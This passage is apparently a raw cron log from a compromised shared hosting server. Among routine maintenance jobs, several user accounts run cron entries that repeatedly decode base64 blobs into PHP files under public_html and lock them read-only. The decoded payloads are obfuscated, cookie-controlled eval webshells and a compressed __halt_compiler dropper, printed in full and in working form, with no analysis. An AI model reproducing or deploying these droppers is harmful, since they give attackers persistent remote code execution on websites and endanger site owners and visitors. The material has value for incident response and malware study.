"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:54:01 medusa CROND[11929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:54:01 medusa CROND[11941]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:54:01 medusa CROND[11944]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:54:01 medusa CROND[11943]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:54:01 medusa CROND[11939]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:55:01 medusa CROND[13952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:55:01 medusa CROND[13955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:55:01 medusa CROND[14022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:55:01 medusa CROND[14024]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:55:01 medusa CROND[14025]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14026]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:55:01 medusa CROND[14027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:55:01 medusa CROND[14029]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:55:01 medusa CROND[14035]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:55:01 medusa CROND[14037]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14041]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14050]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:55:01 medusa CROND[14051]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:55:01 medusa CROND[14052]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14054]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:55:01 medusa CROND[14055]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:55:01 medusa CROND[14058]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:55:01 medusa CROND[14061]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:55:01 medusa CROND[14038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:55:01 medusa CROND[14062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:55:01 medusa CROND[14039]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:56:01 medusa CROND[16077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:56:01 medusa CROND[16111]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:56:01 medusa CROND[16112]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:56:01 medusa CROND[16114]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:56:01 medusa CROND[16115]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:56:01 medusa CROND[16113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:56:01 medusa CROND[16116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:56:01 medusa CROND[16119]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:56:01 medusa CROND[16121]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:56:01 medusa CROND[16122]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 